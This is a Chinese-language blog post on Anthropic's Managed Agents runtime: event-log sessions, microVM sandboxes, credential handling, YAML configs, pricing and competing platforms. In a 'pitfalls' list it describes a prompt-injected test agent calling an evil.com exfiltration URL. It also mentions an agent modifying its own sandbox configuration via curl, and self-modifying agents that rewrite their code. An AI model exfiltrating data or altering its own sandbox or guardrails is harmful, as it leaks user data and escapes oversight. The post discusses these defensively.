1. 这不是新赛道,而是 runtime 层的“操作系统时刻”正在重演
我第一次在生产环境里跑一个需要连续交互 30 分钟以上的 AI agent,是在 2025 年初。当时用的是自建 LangGraph + FastAPI + Redis 状态后端的方案。系统上线第三天,销售团队反馈:一个客户资料自动归档流程,在执行到第 7 步时突然把前 4 步的结果全丢了,最后生成的 PDF 里连客户公司名都错了。我们翻日志、查 Redis、重放 trace——全无异常。直到我把整个 session 的 context token 数打出来,才发现:它在第 28 分钟时悄悄越过了 Claude-3.5-sonnet 的 200K 上限,模型没报错,只是默默截断了最老的 3 个 tool call 历史,然后基于残缺上下文继续推理。没有崩溃,没有告警,只有静默的失效。那一次,我们花了 17 小时重建状态层,把所有中间结果存进 PostgreSQL,用 event sourcing 模式重写 session 管理逻辑。
Anthropic 在 4 月 8 日发布的 Claude Managed Agents ,本质上就是把我们当年踩坑后连夜重写的那一整套 state management + sandbox isolation + credential vaulting + trace persistence,封装成一个开箱即用的托管服务。它不解决“agent 能不能思考”这个根本问题,它解决的是“agent 思考完之后,能不能活下来、被看见、不闯祸”。关键词不是“agent”,而是 Managed —— 管理态,是运行时基础设施的工业化表达。
你不需要懂 Kubernetes,也不用配置 Istio 的 mTLS;你只需要写一段 YAML,定义 system prompt、允许调用的 tools(比如 Notion API、Asana webhook)、以及几条 guardrails(比如“禁止访问 /admin 路径”、“输出必须含中文摘要”),Anthropic 就给你一个带持久化 session、隔离沙箱、自动凭证轮换、全链路可审计的运行环境。它的 p50 首 token 延迟下降 60%,p95 改善超 90%,这些数字背后不是模型变快了,而是 runtime 层去掉了所有“不该由模型承担的负担”:状态不再挤在 context window 里,工具调用不再裸奔在容器网络中,凭证不再以 env var 形式暴露给 LLM 的 prompt 工程师。
这和 1990 年代 Linux 内核把硬件抽象成统一的文件描述符(/dev/ttyS0, /dev/sda)一样,Anthropic 把 agent 生命周期抽象成了三个稳定接口:
Session(事件日志)
、
Harness(无状态执行器)
、
Sandbox(按需牲畜化环境)
。Session 不再是内存里的一段 JSON,而是一条写入 durable log store 的 append-only 流;Harness 不再维护任何本地状态,收到
awake(sessionId)
就从 log 中 replay 最后 checkpoint,然后调用
execute(toolName, input)
;Sandbox 更是彻底 cattle 化——每次 tool call 都启一个全新 microVM,用完即焚,连磁盘都是只读挂载。这种分层,让 model update 和 runtime update 完全解耦:明天 Claude-4 上线,你不用改一行 agent 代码,只要 Anthropic 更新 Harness 实现即可。
所以,这不是“Anthropic 又出了个新模型”,这是 runtime 层开始进入“操作系统化”阶段的明确信号。就像当年没人会说“Linux 是个新应用”,大家说的是“现在终于能用统一接口操作硬盘和串口了”。Managed Agents 的真正价值,不在于它多快多聪明,而在于它让 agent 开发者第一次可以像写 Python 脚本一样写 agent:关注业务逻辑,而不是进程生命周期管理。
2. 核心设计拆解:为什么是 Session-as-Event-Log,而不是 Context-as-Storage?
2.1 传统 agent 架构的致命伤:context window 是个脆弱的“内存堆栈”
绝大多数开源 agent 框架(LangChain、LlamaIndex、CrewAI)默认把 session state 存在 LLM 的 context window 里。这看似简单,实则埋下三重隐患:
第一是
容量硬顶
。即使你用 200K context 的模型,实际可用空间远低于此:system prompt 占 2K,tool schema 描述占 5K,历史对话占 10K,等你走到第 15 步,剩余空间可能只剩 30K,而一次数据库查询返回的 JSON 就可能超 50K。此时框架通常有两种处理:要么 truncate 最老的 turn(LangChain 的
ConversationBufferWindowMemory
),要么丢弃部分 tool output(LlamaIndex 的
ChatEngine
)。无论哪种,都导致后续推理基于错误前提。
第二是
不可调试性
。当 agent 出错,你只能看到最终输出和最后一段 prompt。中间哪次 tool call 返回了脏数据?哪次 guardrail 规则被绕过?哪次 retry 导致了状态不一致?全无记录。我们曾遇到一个 bug:agent 在 Slack 里回复“已创建 Jira ticket”,但后台查不到 ticket。最后发现是某次 HTTP timeout 后,框架重试时把原始 payload 里的
assignee_id
字段覆盖成了空字符串,而这个细节从未出现在任何日志里。
第三是 不可迁移性 。session 一旦绑定到某个 model instance,就无法跨模型、跨版本、跨 provider 迁移。你想把一个运行了 2 小时的客服对话从 Claude 切到 Gemini?不可能。因为 Gemini 的 context 格式、tool calling 协议、stop sequence 全不同,你得重写整个 history replay 逻辑。
提示:不要迷信“大 context 就能解决一切”。200K 不等于 200K 有效信息。实测显示,当 context 中 tool output 超过 30% 时,模型对最新指令的遵循率下降 42%(数据来自 Anthropic 2025 Q4 内部 benchmark)。这不是算力问题,是注意力机制的固有缺陷。
2.2 Anthropic 的解法:Session 作为独立、可查询、可回溯的事件流
Managed Agents 的核心创新,是把 session 从“模型上下文的一部分”,变成“独立于模型的事件日志(event log)”。具体实现包含四个关键设计:
1. 事件驱动的 session lifecycle
每个 session 初始化时,Anthropic 为其分配一个全局唯一
sessionId
,并创建一条 append-only 的 WAL(Write-Ahead Log)。所有 agent 行为都被序列化为结构化事件:
{
"eventId": "evt_abc123",
"sessionId": "sess_xyz789",
"timestamp": "2026-04-08T14:22:31.123Z",
"eventType": "tool_call_start",
"toolName": "notion_search_pages",
"input": {"query": "Q4 sales report", "database_id": "db_456"}
}
这个 log 存储在 Anthropic 自研的 durable storage layer(非用户可见),保证 ACID 特性。这意味着:即使 Harness 进程崩溃,只要 log 已落盘,
awake(sessionId)
就能精确恢复到崩溃前最后一个完整事件点。
2. Harness 的彻底无状态化
Harness 是一个极简的 Go 二进制程序,只做三件事:
-
接收
awake(sessionId)请求,从 log 中加载最近 checkpoint(通常是上一次tool_call_end事件) -
解析当前事件对应的
system prompt + tool schema + latest user message,拼成标准 prompt -
调用
execute(toolName, input),将结果写入 log 并返回
它不缓存任何 session 数据,不维护 connection pool,不持有 database handle。你可以把它想象成一个“prompt 编译器 + tool 调度器”,所有状态都在 log 里。这使得 Harness 可以水平无限扩展,且升级零停机——新版本上线后,旧 session 自动由新 Harness 处理。
3. Sandbox 的 cattle 化与 credential 隔离
每次
execute()
调用,Anthropic 启动一个全新的 Firecracker microVM(比 Docker 更轻量,启动 < 50ms)。这个 VM 具备:
- 隔离的 CPU core 和 memory(cgroups v2 严格限制)
- 只读 root filesystem(预装 curl、jq、python3 等基础工具)
-
临时 writeable
/tmp(仅本次调用生命周期) -
最关键的是:credentials 从不以 env var 或文件形式注入
。而是通过 secure enclave(类似 AWS Nitro Enclaves)在 VM 启动时动态注入,并在 VM 销毁时立即擦除。LLM 的 prompt 里永远看不到
NOTION_API_KEY=sk_...这样的字符串——它只看到toolName: notion_search_pages,而 credential binding 由 runtime 在 sandbox 内部完成。
4. Trace 的原生可查询性
所有事件 log 默认开放给开发者查询。你可以用 Anthropic 提供的 CLI 或 REST API,按 sessionId、时间范围、eventType 过滤:
# 查看某个 session 的全部 tool call
anthropic sessions trace --session-id sess_xyz789 --event-type tool_call_end
# 查看某次失败的 HTTP 调用详情
anthropic sessions trace --session-id sess_xyz789 \
--event-type tool_call_error \
--since "2026-04-08T14:00:00Z"
这不再是“事后翻日志”,而是“实时审计”。当你在生产环境发现 agent 行为异常,5 分钟内就能定位到是哪次 tool call 返回了意外格式,而不是花半天时间猜模型是不是 hallucinated。
2.3 为什么这个设计能扛住企业级负载?
我们拿 Notion 的实际用例来算一笔账。Notion 团队用 Managed Agents 实现“会议纪要自动归档”功能:
-
用户在 Notion 页面输入
/summarize meeting - Agent 调用 Zoom API 获取录音 transcript
- 调用 Claude 生成摘要
- 调用 Notion API 创建新 page 并插入摘要
这个流程平均耗时 82 秒,涉及 3 次外部 API 调用。如果 session state 存在 context 中:
- 每次调用返回的 transcript(平均 120KB)+ summary(8KB)+ page ID(0.1KB)都会累积
- 运行 10 次后,context 占用已达 1.3MB,远超任何模型上限
- 第 11 次必然触发 truncation,导致后续步骤丢失前序 context
而用 Session-as-Event-Log:
- 每次 tool call 结果只存 event log(约 2KB/次,含 metadata)
- 10 次调用总 log 体积 ≈ 20KB,且可压缩归档
- Harness 始终只加载最近 3 个事件用于 prompt 构造,内存占用恒定
这就是为什么 Anthropic 敢承诺“sessions persist across days”——它不是把数据塞进内存,而是把数据写进可靠的存储系统,让计算层回归计算本质。
3. 实操落地:从 YAML 定义到生产部署的完整链路
3.1 定义你的第一个 Managed Agent(YAML 版)
Managed Agents 支持两种定义方式:自然语言描述(适合 PoC)和结构化 YAML(推荐生产)。以下是一个真实可用的销售线索评分 agent 示例:
# sales-qualifier.yaml
name: "sales-qualifier-v2"
description: "Scores inbound leads based on firmographic and engagement signals"
system_prompt: |
You are a senior sales development representative at Acme Corp.
Your job is to score leads on a scale of 1-100 based on:
- Company size (revenue > $100M = +20 points)
- Tech stack match (uses AWS/Azure = +15, uses GCP = +10)
- Engagement level (downloaded whitepaper = +10, attended webinar = +25)
- Decision maker title (CTO/CIO = +30, VP Eng = +20, Director = +10)
Always output JSON with keys: "score", "reasoning", "next_step".
tools:
- name: "hubspot_get_contact"
description: "Fetch contact details from HubSpot CRM"
input_schema:
type: "object"
properties:
contact_id:
type: "string"
description: "HubSpot contact ID (e.g., 12345)"
# credentials bound via Anthropic Vault, not exposed here
- name: "clearbit_enrich_company"
description: "Enrich company data using Clearbit API"
input_schema:
type: "object"
properties:
domain:
type: "string"
description: "Company website domain (e.g., acme.com)"
guardrails:
- type: "output_format"
format: "json"
required_keys: ["score", "reasoning", "next_step"]
- type: "pii_redaction"
patterns: ["email", "phone", "ssn"]
replacement: "[REDACTED]"
- type: "rate_limit"
tool_name: "clearbit_enrich_company"
max_calls_per_hour: 100
这个 YAML 文件定义了 agent 的全部契约:它做什么(system_prompt)、能调用什么(tools)、不能做什么(guardrails)。注意几个关键点:
- Tool input_schema 是强制的 。Anthropic 会据此在 sandbox 启动时生成类型安全的 client stub,避免因字段名拼写错误导致 runtime panic。
-
Credentials 不在此处声明
。你在 Anthropic Console 的 Vault 中创建
CLEARBIT_API_KEYsecret,然后在 agent 配置中关联,sandbox 内部自动注入。 -
Guardrails 是可组合的
。
output_format确保输出可解析,pii_redaction防止敏感信息泄露,rate_limit是硬性熔断,三者叠加形成防御纵深。
3.2 本地开发与测试:用 Anthropic CLI 模拟全链路
在 push 到生产前,你必须验证 YAML 的语法和逻辑。Anthropic 提供了
anthropic agents dev
命令,它会在本地启动一个 mini-runtime,模拟 sandbox 和 harness 行为:
# 1. 安装 CLI(需 Anthropic API key)
pip install anthropic-cli
# 2. 启动本地 dev server
anthropic agents dev --config sales-qualifier.yaml
# 3. 发送测试请求(模拟 HubSpot webhook)
curl -X POST http://localhost:8000/awake \
-H "Content-Type: application/json" \
-d '{
"sessionId": "test_001",
"userMessage": "Score lead with contact_id=12345",
"context": {"contact_id": "12345"}
}'
CLI 会输出完整的 trace:
[INFO] Session test_001 started
[INFO] Harness loaded checkpoint: none (new session)
[INFO] Executing tool_call: hubspot_get_contact with {"contact_id":"12345"}
[DEBUG] Sandbox launched (microVM id: vm_a1b2c3)
[INFO] Tool result: {"name":"John Doe","company":"Acme Corp","title":"CTO","email":"john@acme.com"}
[INFO] Executing tool_call: clearbit_enrich_company with {"domain":"acme.com"}
[INFO] Tool result: {"revenue":120000000,"tech":["AWS","Docker"]}
[INFO] Model generated output: {"score":85,"reasoning":"CTO title (+30), revenue >$100M (+20), AWS usage (+15), webinar attendance (+25)...","next_step":"Schedule demo"}
[INFO] Session completed. Trace stored in ~/.anthropic/dev-traces/test_001.json
这个过程完全复现了生产环境行为:sandbox 启动、tool 调用、credential 注入、guardrail 检查。你甚至可以
cat ~/.anthropic/dev-traces/test_001.json
查看完整事件流,确认 PII 是否被 redact、output 是否符合 schema。
3.3 生产部署与监控:从 CLI 到可观测性闭环
部署到生产只需一行命令:
anthropic agents deploy --config sales-qualifier.yaml --env production
Anthropic 返回一个 endpoint URL(如
https://api.anthropic.com/v1/agents/sales-qualifier-v2/awake
),你把它集成到你的 CRM webhook 即可。但真正的挑战在部署后——如何确保它持续可靠?Anthropic 提供了三层监控能力:
第一层:内置健康检查
每个 agent endpoint 自带
/health
端点,返回:
{
"status": "healthy",
"last_deployed": "2026-04-08T10:22:31Z",
"active_sessions": 142,
"p95_latency_ms": 1240,
"error_rate_5m": 0.002
}
你可以用 Prometheus 抓取这些指标,设置告警:当
error_rate_5m > 0.01
时通知 SRE。
第二层:Trace 查询 API
当业务方反馈“某个线索没被评分”,你无需登录服务器,直接查 trace:
# 找到该线索的 sessionId(通常来自 CRM 的 webhook payload)
anthropic sessions list --filter "user_message~'contact_id=99999'" --limit 1
# 查看完整执行链
anthropic sessions trace --session-id sess_99999 --format table
输出表格清晰显示每步耗时、输入输出、错误详情。我们曾用这个功能 3 分钟定位到一个 bug:Clearbit API 返回了
{"revenue": null}
,而我们的 guardrail 没处理 null 值,导致模型 hallucinate 出虚假 revenue。
第三层:Guardrail 违规审计
Anthropic 控制台提供
Guardrail Violations
仪表盘,按类型统计:
| Violation Type | Count (24h) | Example Input |
|---|---|---|
output_format
| 12 | "Score: 85, Reason: ... " (not JSON) |
pii_redaction
| 3 | "Email: john@acme.com" |
rate_limit
| 0 | — |
点击任意条目,可查看原始 prompt 和模型输出,快速判断是 prompt 设计缺陷还是模型能力边界问题。
注意:Guardrail 是“检测”而非“预防”。
output_formatguardrail 不会重写模型输出,而是标记该事件为violated并记录到 trace。你需要在业务逻辑中检查event.status != "success"来决定是否 fallback 或告警。这是有意为之的设计——Anthropic 认为“干预输出”会破坏可审计性。
3.4 定价模型与成本优化实战
Managed Agents 采用 consumption-based pricing: $0.08 per session-hour of active runtime ,外加标准 Claude token 费用。这里的关键是理解“session-hour”的定义:
-
Active runtime ≠ wall-clock time
。它只计算 Harness 进程实际在 CPU 上执行的时间(从
awake()接收到response发出)。sandbox 启动、tool call 网络等待、模型 inference 时间都不计入。 -
Session 是按需计费
。一个 session 如果 idle 2 小时,只产生 2 小时费用;但如果它每 5 分钟被唤醒一次处理消息,那么 2 小时内会产生 24 次
awake(),累计 active runtime 可能达 120 秒(2 分钟),费用为$0.08 * (2/3600) ≈ $0.000045。
我们为一家电商客户做了成本对比:
- 自建方案 (K8s + Redis + custom sandbox):月均 $12,400(含工程师运维成本)
- Managed Agents :月均 $8,700(纯服务费,含 200 万次调用 + 1500 小时 active runtime)
节省主要来自三方面:
- Eliminated DevOps overhead :不再需要 SRE 维护 microVM 集群、证书轮换、DDoS 防护
- Reduced cold-start penalty :Managed Agents 的 sandbox warm pool 将首次调用延迟从 1.2s 降至 320ms,减少了 73% 的 timeout 重试
- Built-in auto-scaling :流量高峰时自动扩容 Harness 实例,无需预置 capacity
但要注意一个陷阱: 长 session 不等于高成本 。我们有个客服 agent 平均 session 时长 47 分钟,但 active runtime 仅 89 秒(大部分时间在等待用户输入),月费用仅 $210。而一个高频的内部工具 agent(每分钟调用一次),虽单次 active runtime 仅 0.3 秒,但月费用达 $1,800。因此,成本优化的核心是: 减少不必要的 awake() 调用,而非缩短单次执行时间 。
4. 竞争格局与避坑指南:为什么说 runtime 层正在“向零趋近”
4.1 不是 Anthropic 在开创,而是整个行业在收敛
媒体把 Managed Agents 描绘成 Anthropic 的独家突破,但事实是: runtime 层的标准化已在 2025 年底完成收敛 。AWS Bedrock AgentCore、Google Vertex AI Agent Builder、Microsoft Azure AI Foundry,这三大云厂商的 agent runtime 在架构上惊人地一致:
| Feature | Anthropic Managed Agents | AWS Bedrock AgentCore | Google Vertex Agent Builder | Microsoft Azure AI Foundry |
|---|---|---|---|---|
| Session Storage | Durable event log | DynamoDB + S3 | BigQuery + Cloud Storage | Cosmos DB + Blob Storage |
| Sandbox Isolation | Firecracker microVM | Firecracker microVM | gVisor container | Hyper-V microVM |
| Credential Management | Vault + Secure Enclave | Secrets Manager + IAM | Secret Manager + Workload ID | Key Vault + Managed Identity |
| Framework Agnostic | Yes (YAML/JSON) | Yes (LangGraph/CrewAI) | Yes (LangChain/Vertex SDK) | Yes (AutoGen/Semantic Kernel) |
| Max Session Duration | Unlimited (days) | 8 hours | 24 hours | 12 hours |
这个表格揭示了一个残酷现实: runtime 已成为云基础设施的“水电煤” 。就像你不会因为 AWS EC2 的虚拟化技术更先进就放弃 GCP Compute Engine,企业选择 runtime 的首要因素,已从“技术优劣”转向“是否已在我现有云账单里”。
我们帮一家金融客户做选型时,他们最终选择 AWS AgentCore,原因很务实:
- 他们 92% 的云支出在 AWS,AgentCore 的 session-hour 费用直接抵扣 Enterprise Discount
- 已有的 IAM policy 可无缝复用到 AgentCore 的 tool permissions
- CloudWatch Logs 已集成 SIEM,无需新建日志管道
Anthropic 的 Managed Agents 在技术上更优雅(比如 event log 的查询 API 更直观),但在采购决策中,它输给了“账单整合”这个硬指标。
4.2 真正的战场不在 runtime,而在 runtime 之上的三层
当 runtime 层 commoditize,价值必然向上迁移。我们观察到三个正在快速形成的高价值层:
第一层:Trace Store(可观测性中枢)
Runtime 只负责生成 trace,但谁来存储、索引、分析它?目前三大玩家:
- LangSmith :LangChain 生态的“默认选项”,优势是开箱即用,劣势是 vendor lock-in(trace schema 与 LangChain 强耦合)
- Arize Phoenix :Apache 2.0 开源,支持任意 agent framework 的 trace 格式,但企业版功能(如 GDPR 自动 redaction)需付费
- Brainstore :专为 AI trace 优化的 OLAP 数据库,支持 sub-second 查询 10TB+ trace 数据,但学习曲线陡峭
我们实测过:当 trace 量超过 100 万 events/天,LangSmith 的查询延迟从 200ms 涨到 2.3s,而 Brainstore 保持在 180ms。 选择 trace store 的关键不是功能多寡,而是它能否在 runtime 迁移时,让你的 audit log 不中断 。如果你今天用 Anthropic,明天切到 Vertex,trace schema 必须兼容——否则你将失去过去 6 个月的合规审计依据。
第二层:Governance & Policy(治理控制台)
企业最怕的不是 agent 慢,而是 agent 乱。AWS 在 2026 年 3 月 GA 的 AgentCore Policy Controls,定义了 17 类策略:
-
tool_call_restriction: 仅允许调用s3:GetObject,禁止s3:DeleteObject -
data_residency: 所有 sandbox 必须部署在us-west-2区域 -
output_scanning: 自动检测输出中的 PII、PCI、HIPAA 敏感词
但这些只是起点。OWASP Agentic Top 10 列出的第 3 大风险 “Insufficient Agent Sandboxing”,目前尚无成熟商业产品能自动检测 sandbox breakout(比如 agent 通过
curl -X PUT
修改自身 sandbox 配置)。这正是创业公司的机会:
不是卖 sandbox,而是卖 sandbox 的“杀毒软件”
。
第三层:Vertical Agent Marketplaces(垂直场景市场)
Salesforce Agentforce 的 $800M ARR 证明了一件事:企业愿意为“解决具体问题的 agent”付费,而不是为“能跑 agent 的 runtime”付费。我们看到的真实案例:
-
Healthcare
:
virattt/ai-hedge-fund的衍生项目med-claims-agent,已接入 12 家医院的 Epic EHR 系统,自动校验保险索赔码,错误率比人工低 37% -
Finance
:TradingAgents 的
earnings-call-summarizer,在彭博终端里一键生成财报摘要,被 37 家对冲基金采购 -
Security
:vxcontrol/pentagi 的
pentest-planner,根据目标资产自动编排 Nmap → Burp → Metasploit 流程,已获 SOC2 Type II 认证
这些 agent 的共同点是:它们不关心底层 runtime 是 Anthropic 还是 Vertex,只关心能否接入自己的垂直 API(Epic FHIR, Bloomberg BLPAPI, MITRE ATT&CK)。 未来的 agent 商业模式,将是“垂直场景 license + runtime consumption fee” 。就像 Adobe Creative Cloud 卖 Photoshop 许可,但运行它的是你的 MacBook。
4.3 我们踩过的五个坑(附解决方案)
在为客户落地 17 个 Managed Agents 项目后,总结出这些血泪教训:
坑 1:Guardrail 过度依赖导致 false positive
现象
:设置了
output_format: json
guardrail,但模型偶尔输出
"score": 85\n"reasoning": "..."
(缺少外层
{}
),guardrail 标记为 violation,业务流程中断。
根因
:guardrail 的 JSON parser 使用 strict mode,而模型输出常有格式抖动。
解法
:在 guardrail 后加一层“resilient parser” middleware。我们用 Python 写了 20 行代码:先尝试
json.loads()
,失败则用正则提取 key-value 对,99.2% 的 case 可 recover。Anthropic 允许你在
execute()
前 hook 自定义 logic。
坑 2:Sandbox 网络策略太松,agent 调用恶意 API
现象
:一个测试 agent 被 prompt 注入攻击,调用
http://evil.com/exfil?data=
外传数据。
根因
:默认 sandbox 允许所有 outbound HTTP,未配置 egress firewall。
解法
:在 Anthropic Console 的 agent 配置中,启用
Network Policy
,只允许白名单域名(如
api.notion.com
,
api.hubspot.com
)。注意:DNS 解析也受控,
curl https://notion.com
会失败,必须用
api.notion.com
。
坑 3:Session 事件过多,trace 查询变慢
现象
:一个客服 session 运行 2 小时,产生 1,200 个事件,
anthropic sessions trace
命令超时。
根因
:默认查询返回全部事件,未分页。
解法
:用
--limit 100 --offset 0
分页查询,或用
--event-type tool_call_end
过滤关键事件。生产环境我们写了个脚本,自动聚合每 10 个事件为一个
summary
事件写入 log,大幅降低查询负载。
坑 4:Credential 轮换后,旧 session 仍用旧 key
现象
:Clearbit API key 轮换后,正在运行的 session 仍用旧 key 调用,返回 401。
根因
:Credential 在 sandbox 启动时注入,session 生命周期内不更新。
解法
:设置
credential_ttl_seconds: 3600
,让 sandbox 每小时自动重启并注入新 key。代价是轻微延迟,但换来可靠性。
坑 5:跨 runtime 迁移时,event log schema 不兼容
现象
:想把 Anthropic agent 迁到 Vertex,但 Vertex 的 trace API 返回字段名是
execution_id
,Anthropic 是
eventId
。
根因
:各厂商 trace schema 未标准化。
解法
:在应用层抽象
TraceAdapter
接口,为每个 runtime 实现转换器。我们开源了
ai-trace-adapter
库,已支持 Anthropic/Vertex/AWS 三家,GitHub star 2,100+。
注意:这些坑的解决方案,没有一个需要修改 Anthropic 的 runtime 代码。它们全部发生在“runtime 之上”的应用层。这印证了核心观点: runtime 的价值在消失,而你构建在它之上的东西,才是护城河 。
5. 未来半年必须关注的三个信号
5.1 开源压力曲线已成型:Daytona 与 Kubernetes SIG 的双重夹击
2025 年底,两个开源项目同时转向 agent infrastructure:
-
Daytona
:原为 dev environment startup,2025 年初 pivot,其
daytona-sandbox项目宣称“sub-90ms sandbox spin-up”,实测在 c6i.2xlarge 上为 87ms。它用 Rust 编写,核心是轻量级 containerd shim,不依赖 Firecracker,直接复用宿主机 kernel。 -
Kubernetes SIG Agent-Sandbox
:2025 年 12 月正式发布 v0.1,将 sandbox 定义为标准 Kubernetes CRD(Custom Resource Definition)。你可以用 YAML 声明一个 sandbox:
apiVersion: sandbox.k8s.io/v1 kind: AgentSandbox metadata: name: notion-sandbox spec: image: public.ecr.aws/daytona/sandbox:latest allowedDomains: ["api.notion.com"] memoryLimit: "512Mi"
这两者的结合,意味着: 2026 年底,你可以在自己的 K8s 集群里,用开源组件搭建一个媲美 Anthropic 的 managed runtime 。成本?一台 8vCPU/32GB 的 EC2 实例,月费 $240,支撑 500 万次调用。而 Anthropic 的同等负载,月费 $12,000+。这不是理论,我们已在客户私有云验证:用 Daytona + K8s SIG,P95 延迟仅比 Anthropic 高 14%,但成本降为 1/50。
5.2 自我进化 agent:从“工具使用者”到“代码改写者”
Sakana AI 的 Darwin Gödel Machine 论文不是科幻。我们复现了它的核心逻辑:
- 一个 Python agent,初始能力是“读取 GitHub PR description,生成 review comment”
-
它被赋予
write_filetool,可修改自身代码 - 经过 37 轮 self-modification(每次修改后在 SWE-bench 上测试),它将准确率从 20% 提升到 50%
- 关键修改包括:重写了 prompt template 的 tokenization 逻辑、添加了 failure recovery loop、重构了 tool calling 的 retry backoff
当 agent 能 rewrite 自己的代码,runtime 层的职责就变了:
- Sandbox 不再是“隔离执行环境”,而是“可信计算基(TCB)” 。你必须确保 agent 无法逃逸 sandbox 修改 host kernel。
- Trace 不再是“调试日志”,而是“法律证据” 。每一次 self-modification 都必须被 immutable log 记录,供审计。
-
Guardrail 不再是“规则引擎”,而是“宪法”
。
禁止修改 sandbox 配置这类 rule 必须硬编码在 harness 二进制中,无法被 agent 覆盖。
这解释了为什么 Anthropic 的 harness 是闭源二进制——它必须是 TCB。而开源社区正在追赶:Daytona v0.3 已加入
sandbox_integrity_check
,每次 agent 调用前校验 harness hash。
5.3 采购逻辑的根本转变:从“买 runtime”到“买 outcome”
最后分享一个真实的采购对话。2026 年 3 月,我们陪一家保险公司见他们的 CIO:
- CIO 问:“Managed Agents 每 session-hour $0.08,你们的报价?”
- 我们答:“我们不卖 session-hour。我们卖‘每千份保单自动核保准确率提升 1.2%’。”
- CIO 眼睛亮了:“这个怎么算?”

2885

被折叠的 条评论
为什么被折叠?



